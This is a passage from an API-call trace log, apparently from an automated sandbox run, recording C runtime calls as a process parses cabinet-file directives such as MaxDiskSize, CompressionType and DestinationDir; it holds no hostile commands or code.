_MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfHeader5") returned 10 [0101.680] atoi (_Str="1") returned 1 [0101.680] malloc (_Size=0x38) returned 0x327d40 [0101.681] atoi (_Str="1") returned 1 [0101.681] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfHeader6") returned 10 [0101.681] atoi (_Str="1") returned 1 [0101.681] malloc (_Size=0x38) returned 0x327d80 [0101.681] atoi (_Str="1") returned 1 [0101.681] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfSectionOrder") returned 15 [0101.681] atoi (_Str="1") returned 1 [0101.681] malloc (_Size=0x38) returned 0x327dc0 [0101.681] atoi (_Str="1") returned 1 [0101.681] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="MaxCabinetSize") returned 14 [0101.681] atoi (_Str="1") returned 1 [0101.681] malloc (_Size=0x38) returned 0x327e00 [0101.681] atoi (_Str="1") returned 1 [0101.682] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="MaxDiskFileCount") returned 16 [0101.682] atoi (_Str="1") returned 1 [0101.682] malloc (_Size=0x38) returned 0x327e40 [0101.682] _strcmpi (_Str1="1.44M", _Str2="360K") returned -2 [0101.682] atol (_Str="362496") returned 362496 [0101.682] atol (_Str="1.44M") returned 1 [0101.682] _strcmpi (_Str1="1.44M", _Str2="720K") returned -6 [0101.682] atol (_Str="730112") returned 730112 [0101.682] atol (_Str="1.44M") returned 1 [0101.682] _strcmpi (_Str1="1.44M", _Str2="1.2M") returned 2 [0101.682] atol (_Str="1213952") returned 1213952 [0101.682] atol (_Str="1.44M") returned 1 [0101.682] _strcmpi (_Str1="1.44M", _Str2="1.25M") returned 2 [0101.682] atol (_Str="1250304") returned 1250304 [0101.682] atol (_Str="1.44M") returned 1 [0101.682] _strcmpi (_Str1="1.44M", _Str2="1.44M") returned 0 [0101.682] atoi (_Str="1") returned 1 [0101.682] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="MaxDiskSize") returned 11 [0101.682] atoi (_Str="1") returned 1 [0101.682] malloc (_Size=0x38) returned 0x327e80 [0101.682] _strcmpi (_Str1="1.44M", _Str2="360K") returned -2 [0101.682] atol (_Str="362496") returned 362496 [0101.682] atol (_Str="1.44M") returned 1 [0101.682] _strcmpi (_Str1="1.44M", _Str2="720K") returned -6 [0101.682] atol (_Str="730112") returned 730112 [0101.682] atol (_Str="1.44M") returned 1 [0101.682] _strcmpi (_Str1="1.44M", _Str2="1.2M") returned 2 [0101.682] atol (_Str="1213952") returned 1213952 [0101.682] atol (_Str="1.44M") returned 1 [0101.682] _strcmpi (_Str1="1.44M", _Str2="1.25M") returned 2 [0101.682] atol (_Str="1250304") returned 1250304 [0101.683] atol (_Str="1.44M") returned 1 [0101.683] _strcmpi (_Str1="1.44M", _Str2="1.44M") returned 0 [0101.683] atoi (_Str="1") returned 1 [0101.683] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="MaxErrors") returned 9 [0101.683] atoi (_Str="1") returned 1 [0101.683] malloc (_Size=0x38) returned 0x327ec0 [0101.683] atoi (_Str="1") returned 1 [0101.683] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="ReservePerCabinetSize") returned 21 [0101.683] atoi (_Str="1") returned 1 [0101.683] malloc (_Size=0x38) returned 0x327f00 [0101.683] atoi (_Str="1") returned 1 [0101.683] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="ReservePerDataBlockSize") returned 23 [0101.683] atoi (_Str="1") returned 1 [0101.683] malloc (_Size=0x38) returned 0x327f40 [0101.683] atoi (_Str="1") returned 1 [0101.683] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="ReservePerFolderSize") returned 20 [0101.684] atoi (_Str="1") returned 1 [0101.684] malloc (_Size=0x38) returned 0x327f80 [0101.684] atoi (_Str="1") returned 1 [0101.684] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="RptFileName") returned 11 [0101.684] atoi (_Str="1") returned 1 [0101.684] malloc (_Size=0x38) returned 0x327fc0 [0101.684] atoi (_Str="1") returned 1 [0101.684] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="SourceDir") returned 9 [0101.684] atoi (_Str="1") returned 1 [0101.684] malloc (_Size=0x38) returned 0x328000 [0101.684] atoi (_Str="1") returned 1 [0101.684] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="UniqueFiles") returned 11 [0101.684] atoi (_Str="1") returned 1 [0101.684] malloc (_Size=0x38) returned 0x328040 [0101.684] _strcmpi (_Str1="On", _Str2="No") returned 1 [0101.684] _strcmpi (_Str1="On", _Str2="Off") returned 8 [0101.684] _strcmpi (_Str1="On", _Str2="False") returned 9 [0101.684] _strcmpi (_Str1="On", _Str2="Yes") returned -10 [0101.685] _strcmpi (_Str1="On", _Str2="On") returned 0 [0101.695] _stat (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin", _Stat=0x1ff510) returned 0 [0101.780] malloc (_Size=0x10) returned 0x328c80 [0101.780] malloc (_Size=0x28) returned 0x325aa0 [0101.780] clock () returned 0xf9 [0101.799] printf (_Format="%s%s\r") returned 19 [0101.805] malloc (_Size=0x10) returned 0x328ca0 [0101.805] atoi (_Str="1") returned 1 [0101.805] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="Cabinet") returned 7 [0101.805] atoi (_Str="1") returned 1 [0101.805] malloc (_Size=0x38) returned 0x3280c0 [0101.805] _strcmpi (_Str1="1", _Str2="No") returned -61 [0101.805] _strcmpi (_Str1="1", _Str2="Off") returned -62 [0101.805] _strcmpi (_Str1="1", _Str2="False") returned -53 [0101.805] _strcmpi (_Str1="Cabinet", _Str2="CabinetFileCountThreshold") returned -102 [0101.805] atoi (_Str="1") returned 1 [0101.805] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="CabinetFileCountThreshold") returned 25 [0101.805] atoi (_Str="1") returned 1 [0101.805] malloc (_Size=0x38) returned 0x328100 [0101.805] _strcmpi (_Str1="Cabinet", _Str2="CabinetNameTemplate") returned -110 [0101.805] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CabinetNameTemplate") returned -8 [0101.805] atoi (_Str="1") returned 1 [0101.805] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="CabinetNameTemplate") returned 19 [0101.805] atoi (_Str="1") returned 1 [0101.805] malloc (_Size=0x38) returned 0x328140 [0101.805] _strcmpi (_Str1="Cabinet", _Str2="ChecksumWidth") returned -7 [0101.806] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="ChecksumWidth") returned -7 [0101.806] _strcmpi (_Str1="CabinetNameTemplate", _Str2="ChecksumWidth") returned -7 [0101.806] atoi (_Str="1") returned 1 [0101.806] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="ChecksumWidth") returned 13 [0101.806] atoi (_Str="1") returned 1 [0101.806] malloc (_Size=0x38) returned 0x328180 [0101.806] atoi (_Str="8") returned 8 [0101.806] atoi (_Str="1") returned 1 [0101.806] atoi (_Str="8") returned 8 [0101.806] _strcmpi (_Str1="Cabinet", _Str2="ClusterSize") returned -11 [0101.806] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="ClusterSize") returned -11 [0101.806] _strcmpi (_Str1="CabinetNameTemplate", _Str2="ClusterSize") returned -11 [0101.806] _strcmpi (_Str1="ChecksumWidth", _Str2="ClusterSize") returned -4 [0101.806] atoi (_Str="1") returned 1 [0101.806] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="ClusterSize") returned 11 [0101.806] atoi (_Str="1") returned 1 [0101.806] malloc (_Size=0x38) returned 0x3281c0 [0101.806] _strcmpi (_Str1="512", _Str2="360K") returned 2 [0101.806] atol (_Str="362496") returned 362496 [0101.806] atol (_Str="512") returned 512 [0101.806] _strcmpi (_Str1="512", _Str2="720K") returned -2 [0101.806] atol (_Str="730112") returned 730112 [0101.806] atol (_Str="512") returned 512 [0101.806] _strcmpi (_Str1="512", _Str2="1.2M") returned 4 [0101.806] atol (_Str="1213952") returned 1213952 [0101.806] atol (_Str="512") returned 512 [0101.806] _strcmpi (_Str1="512", _Str2="1.25M") returned 4 [0101.806] atol (_Str="1250304") returned 1250304 [0101.806] atol (_Str="512") returned 512 [0101.806] _strcmpi (_Str1="512", _Str2="1.44M") returned 4 [0101.807] atol (_Str="1457664") returned 1457664 [0101.807] atol (_Str="512") returned 512 [0101.807] _strcmpi (_Str1="512", _Str2="1.68M") returned 4 [0101.807] atol (_Str="1716224") returned 1716224 [0101.807] atol (_Str="512") returned 512 [0101.807] _strcmpi (_Str1="512", _Str2="DMF168") returned -47 [0101.807] atol (_Str="1716224") returned 1716224 [0101.807] atol (_Str="512") returned 512 [0101.807] _strcmpi (_Str1="512", _Str2="CDROM") returned -46 [0101.807] atol (_Str="681984000") returned 681984000 [0101.807] atol (_Str="512") returned 512 [0101.807] _strcmpi (_Str1="Cabinet", _Str2="Compress") returned -14 [0101.807] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Compress") returned -14 [0101.807] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Compress") returned -14 [0101.807] _strcmpi (_Str1="ChecksumWidth", _Str2="Compress") returned -7 [0101.807] _strcmpi (_Str1="ClusterSize", _Str2="Compress") returned -3 [0101.807] atoi (_Str="1") returned 1 [0101.807] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="Compress") returned 8 [0101.807] atoi (_Str="1") returned 1 [0101.807] malloc (_Size=0x38) returned 0x328200 [0101.807] _strcmpi (_Str1="1", _Str2="No") returned -61 [0101.807] _strcmpi (_Str1="1", _Str2="Off") returned -62 [0101.807] _strcmpi (_Str1="1", _Str2="False") returned -53 [0101.807] _strcmpi (_Str1="Cabinet", _Str2="CompressedFileExtensionChar") returned -14 [0101.807] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressedFileExtensionChar") returned -14 [0101.807] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressedFileExtensionChar") returned -14 [0101.807] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressedFileExtensionChar") returned -7 [0101.807] _strcmpi (_Str1="ClusterSize", _Str2="CompressedFileExtensionChar") returned -3 [0101.807] _strcmpi (_Str1="Compress", _Str2="CompressedFileExtensionChar") returned -101 [0101.807] atoi (_Str="1") returned 1 [0101.808] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="CompressedFileExtensionChar") returned 27 [0101.808] atoi (_Str="1") returned 1 [0101.808] malloc (_Size=0x38) returned 0x328240 [0101.808] _strcmpi (_Str1="Cabinet", _Str2="CompressionType") returned -14 [0101.808] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionType") returned -14 [0101.808] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionType") returned -14 [0101.808] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionType") returned -7 [0101.808] _strcmpi (_Str1="ClusterSize", _Str2="CompressionType") returned -3 [0101.808] _strcmpi (_Str1="Compress", _Str2="CompressionType") returned -105 [0101.808] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionType") returned -4 [0101.808] atoi (_Str="1") returned 1 [0101.808] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="CompressionType") returned 15 [0101.808] atoi (_Str="1") returned 1 [0101.808] malloc (_Size=0x38) returned 0x328280 [0101.808] _strcmpi (_Str1="MSZIP", _Str2="MSZIP") returned 0 [0101.808] _strcmpi (_Str1="Cabinet", _Str2="CompressionLevel") returned -14 [0101.808] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionLevel") returned -14 [0101.808] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionLevel") returned -14 [0101.808] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionLevel") returned -7 [0101.808] _strcmpi (_Str1="ClusterSize", _Str2="CompressionLevel") returned -3 [0101.808] _strcmpi (_Str1="Compress", _Str2="CompressionLevel") returned -105 [0101.808] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionLevel") returned -4 [0101.808] _strcmpi (_Str1="CompressionType", _Str2="CompressionLevel") returned 8 [0101.808] atoi (_Str="1") returned 1 [0101.808] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="CompressionLevel") returned 16 [0101.808] atoi (_Str="1") returned 1 [0101.808] malloc (_Size=0x38) returned 0x3282c0 [0101.809] atoi (_Str="2") returned 2 [0101.809] atoi (_Str="1") returned 1 [0101.809] atoi (_Str="7") returned 7 [0101.809] _strcmpi (_Str1="Cabinet", _Str2="CompressionMemory") returned -14 [0101.809] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionMemory") returned -14 [0101.809] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionMemory") returned -14 [0101.809] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionMemory") returned -7 [0101.809] _strcmpi (_Str1="ClusterSize", _Str2="CompressionMemory") returned -3 [0101.809] _strcmpi (_Str1="Compress", _Str2="CompressionMemory") returned -105 [0101.809] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionMemory") returned -4 [0101.809] _strcmpi (_Str1="CompressionType", _Str2="CompressionMemory") returned 7 [0101.809] _strcmpi (_Str1="CompressionLevel", _Str2="CompressionMemory") returned -1 [0101.809] atoi (_Str="1") returned 1 [0101.809] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="CompressionMemory") returned 17 [0101.809] atoi (_Str="1") returned 1 [0101.809] malloc (_Size=0x38) returned 0x328300 [0101.809] atoi (_Str="18") returned 18 [0101.809] atoi (_Str="10") returned 10 [0101.809] atoi (_Str="21") returned 21 [0101.809] _strcmpi (_Str1="Cabinet", _Str2="DestinationDir") returned -1 [0101.809] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DestinationDir") returned -1 [0101.809] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DestinationDir") returned -1 [0101.809] _strcmpi (_Str1="ChecksumWidth", _Str2="DestinationDir") returned -1 [0101.809] _strcmpi (_Str1="ClusterSize", _Str2="DestinationDir") returned -1 [0101.809] _strcmpi (_Str1="Compress", _Str2="DestinationDir") returned -1 [0101.809] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DestinationDir") returned -1 [0101.809] _strcmpi (_Str1="CompressionType", _Str2="DestinationDir") returned -1 [0101.809] _strcmpi (_Str1="CompressionLevel", _Str2="DestinationDir") returned -1 [0101.809] _strcmpi (_Str1="CompressionMemory", _Str2="DestinationDir") returned -1 [0101.809] atoi (_Str="1") returned 1 [0101.810] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="DestinationDir") returned 14 [0101.810] _strcmpi (_Str1="Cabinet", _Str2="DiskDirectoryTemplate") returned -1 [0101.810] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskDirectoryTemplate") returned -1 [0101.810] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskDirectoryTemplate") returned -1 [0101.810] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskDirectoryTemplate") returned -1 [0101.810] _strcmpi (_Str1="ClusterSize", _Str2="DiskDirectoryTemplate") returned -1 [0101.810] _strcmpi (_Str1="Compress", _Str2="DiskDirectoryTemplate") returned -1 [0101.810] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskDirectoryTemplate") returned -1 [0101.810] _strcmpi (_Str1="CompressionType", _Str2="DiskDirectoryTemplate") returned -1 [0101.810] _strcmpi (_Str1="CompressionLevel", _Str2="DiskDirectoryTemplate") returned -1 [0101.810] _strcmpi (_Str1="CompressionMemory", _Str2="DiskDirectoryTemplate") returned -1 [0101.810] _strcmpi (_Str1="DestinationDir", _Str2="DiskDirectoryTemplate") returned -4 [0101.810] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="DiskDirectoryTemplate") returned 21 [0101.810] _strcmpi (_Str1="Cabinet", _Str2="DiskLabelTemplate") returned -1 [0101.810] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskLabelTemplate") returned -1 [0101.810] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskLabelTemplate") returned -1 [0101.810] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskLabelTemplate") returned -1 [0101.810] _strcmpi (_Str1="ClusterSize", _Str2="DiskLabelTemplate") returned -1 [0101.810] _strcmpi (_Str1="Compress", _Str2="DiskLabelTemplate") returned -1 [0101.810] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskLabelTemplate") returned -1 [0101.810] _strcmpi (_Str1="CompressionType", _Str2="DiskLabelTemplate") returned -1 [0101.810] _strcmpi (_Str1="CompressionLevel", _Str2="DiskLabelTemplate") returned -1 [0101.810] _strcmpi (_Str1="CompressionMemory", _Str2="DiskLabelTemplate") returned -1 [0101.810] _strcmpi (_Str1="DestinationDir", _Str2="DiskLabelTemplate") returned -4 [0101.810] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DiskLabelTemplate") returned -8 [0101.810] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="DiskLabelTemplate") returned 17 [0101.811] _strcmpi (_Str1="Cabinet", _Str2="DoNotCopyFiles") returned -1 [0101.811] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DoNotCopyFiles") returned -1 [0101.811] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DoNotCopyFiles") returned -1 [0101.811] _strcmpi (_Str1="ChecksumWidth", _Str2="DoNotCopyFiles") returned -1 [0101.811] _strcmpi (_Str1="ClusterSize", _Str2="DoNotCopyFiles") returned -1 [0101.811] _strcmpi (_Str1="Compress", _Str2="DoNotCopyFiles") returned -1 [0101.811] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DoNotCopyFiles") returned -1 [0101.811] _strcmpi (_Str1="CompressionType", _Str2="DoNotCopyFiles") returned -1 [0101.811] _strcmpi (_Str1="CompressionLevel", _Str2="DoNotCopyFiles") returned -1 [0101.811] _strcmpi (_Str1="CompressionMemory", _Str2="DoNotCopyFiles") returned -1 [0101.811] _strcmpi (_Str1="DestinationDir", _Str2="DoNotCopyFiles") returned -10 [0101.811] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DoNotCopyFiles") returned -6 [0101.812] _strcmpi (_Str1="DiskLabelTemplate", _Str2="DoNotCopyFiles") returned -6 [0101.812] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="DoNotCopyFiles") returned 14 [0101.812] _strcmpi (_Str1="Cabinet", _Str2="FolderFileCountThreshold") returned -3 [0101.812] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="FolderFileCountThreshold") returned -3 [0101.812] _strcmpi (_Str1="CabinetNameTemplate", _Str2="FolderFileCountThreshold") returned -3 [0101.812] _strcmpi (_Str1="ChecksumWidth", _Str2="FolderFileCountThreshold") returned -3 [0101.812] _strcmpi (_Str1="ClusterSize", _Str2="FolderFileCountThreshold") returned -3 [0101.812] _strcmpi (_Str1="Compress", _Str2="FolderFileCountThreshold") returned -3 [0101.812] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="FolderFileCountThreshold") returned -3 [0101.812] _strcmpi (_Str1="CompressionType", _Str2="FolderFileCountThreshold") returned -3 [0101.813] _strcmpi (_Str1="CompressionLevel", _Str2="FolderFileCountThreshold") returned -3 [0101.813] _strcmpi (_Str1="CompressionMemory", _Str2="FolderFileCountThreshold") returned -3 [0101.813] _strcmpi (_Str1="DestinationDir", _Str2="FolderFileCountThreshold") returned -2 [0101.813] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="FolderFileCountThreshold") returned -2 [0101.813] _strcmpi (_Str1="DiskLabelTemplate", _Str2="FolderFileCountThreshold") returned -2 [0101.813] _strcmpi (_Str1="DoNotCopyFiles", _Str2="FolderFileCountThreshold") returned -2 [0101.813] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="FolderFileCountThreshold") returned 24 [0101.813] _strcmpi (_Str1="Cabinet", _Str2="FolderSizeThreshold") returned -3 [0101.813] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="FolderSizeThreshold") returned -3 [0101.813] _strcmpi (_Str1="CabinetNameTemplate", _Str2="FolderSizeThreshold") returned -3 [0101.813] _strcmpi (_Str1="ChecksumWidth", _Str2="FolderSizeThreshold") returned -3 [0101.813] _strcmpi (_Str1="ClusterSize", _Str2="FolderSizeThreshold") returned -3 [0101.813] _strcmpi (_Str1="Compress", _Str2="FolderSizeThreshold") returned -3 [0101.813] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="FolderSizeThreshold") returned -3 [0101.813] _strcmpi (_Str1="CompressionType", _Str2="FolderSizeThreshold") returned -3 [0101.813] _strcmpi (_Str1="CompressionLevel", _Str2="FolderSizeThreshold") returned -3 [0101.813] _strcmpi (_Str1="CompressionMemory", _Str2="FolderSizeThreshold") returned -3 [0101.813] _strcmpi (_Str1="DestinationDir", _Str2="FolderSizeThreshold") returned -2 [0101.813] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="FolderSizeThreshold") returned -2 [0101.813] _strcmpi (_Str1="DiskLabelTemplate", _Str2="FolderSizeThreshold") returned -2 [0101.813] _strcmpi (_Str1="DoNotCopyFiles", _Str2="FolderSizeThreshold") returned -2 [0101.813] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="FolderSizeThreshold") returned -13 [0101.813] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="FolderSizeThreshold") returned 19 [0101.813] _strcmpi (_Str1="Cabinet", _Str2="GenerateInf") returned -4 [0101.813] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="GenerateInf") returned -4 [0101.813] _strcmpi (_Str1="CabinetNameTemplate", _Str2="GenerateInf") returned -4 [0101.813] _strcmpi (_Str1="ChecksumWidth", _Str2="GenerateInf") returned -4 [0101.813] _strcmpi (_Str1="ClusterSize", _Str2="GenerateInf") returned -4 [0101.813] _strcmpi (_Str1="Compress", _Str2="GenerateInf") returned -4 [0101.814] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="GenerateInf") returned -4 [0101.814] _strcmpi (_Str1="CompressionType", _Str2="GenerateInf") returned -4 [0101.814] _strcmpi (_Str1="CompressionLevel", _Str2="GenerateInf") returned -4 [0101.814] _strcmpi (_Str1="CompressionMemory", _Str2="GenerateInf") returned -4 [0101.814] _strcmpi (_Str1="DestinationDir", _Str2="GenerateInf") returned -3 [0101.814] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="GenerateInf") returned -3 [0101.814] _strcmpi (_Str1="DiskLabelTemplate", _Str2="GenerateInf") returned -3 [0101.814] _strcmpi (_Str1="DoNotCopyFiles", _Str2="GenerateInf") returned -3 [0101.814] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="GenerateInf") returned -1 [0101.814] _strcmpi (_Str1="FolderSizeThreshold", _Str2="GenerateInf") returned -1 [0101.814] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="GenerateInf") returned 11 [0101.814] _strcmpi (_Str1="1", _Str2="No") returned -61 [0101.814] _strcmpi (_Str1="1", _Str2="Off") returned -62 [0101.814] _strcmpi (_Str1="1", _Str2="False") returned -53 [0101.814] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetHeader") returned -6 [0101.814] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetHeader") returned -6 [0101.814] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetHeader") returned -6 [0101.814] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetHeader") returned -6 [0101.814] _strcmpi (_Str1="ClusterSize", _Str2="InfCabinetHeader") returned -6 [0101.814] _strcmpi (_Str1="Compress", _Str2="InfCabinetHeader") returned -6 [0101.814] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetHeader") returned -6 [0101.814] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetHeader") returned -6 [0101.814] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetHeader") returned -6 [0101.814] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetHeader") returned -6 [0101.814] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetHeader") returned -5 [0101.814] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetHeader") returned -5 [0101.814] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetHeader") returned -5 [0101.814] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetHeader") returned -5 [0101.814] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetHeader") returned -3 [0101.814] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetHeader") returned -3 [0101.814] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetHeader") returned -2 [0101.814] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfCabinetHeader") returned 16 [0101.815] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetLineFormat") returned -6 [0101.815] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetLineFormat") returned -6 [0101.815] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetLineFormat") returned -6 [0101.815] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetLineFormat") returned -6 [0101.815] _strcmpi (_Str1="ClusterSize", _Str2="InfCabinetLineFormat") returned -6 [0101.815] _strcmpi (_Str1="Compress", _Str2="InfCabinetLineFormat") returned -6 [0101.815] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetLineFormat") returned -6 [0101.815] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetLineFormat") returned -6 [0101.815] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetLineFormat") returned -6 [0101.815] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetLineFormat") returned -6 [0101.815] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetLineFormat") returned -5 [0101.815] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetLineFormat") returned -5 [0101.815] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetLineFormat") returned -5 [0101.815] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetLineFormat") returned -5 [0101.815] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetLineFormat") returned -3 [0101.815] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetLineFormat") returned -3 [0101.815] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetLineFormat") returned -2 [0101.815] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCabinetLineFormat") returned -4 [0101.815] _vsnprintf (in: _DstBuf=0x1ff020, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef78 | out: _DstBuf="InfCabinetLineFormat") returned 20 [0101.815] _strcmpi (_Str1="Cabinet", _Str2="InfCommentString") returned -6 [0101.815] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCommentString") returned -6 [0101.815] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCommentString") returned -6 [0101.815] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCommentString") returned -6 [0101.815] _strcmpi (_Str1="ClusterSize", _Str2="InfCommentString") returned -6 [0101.815] _strcmpi (_Str1="Compress", _Str2="InfCommentString") returned -6 [0101.815] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCommentString") returned -6 [0101.815] _strcmpi (_Str1="CompressionType", _Str2="InfCommentString") returned -6 [0101.815] _strcmpi (_Str1="CompressionLevel", 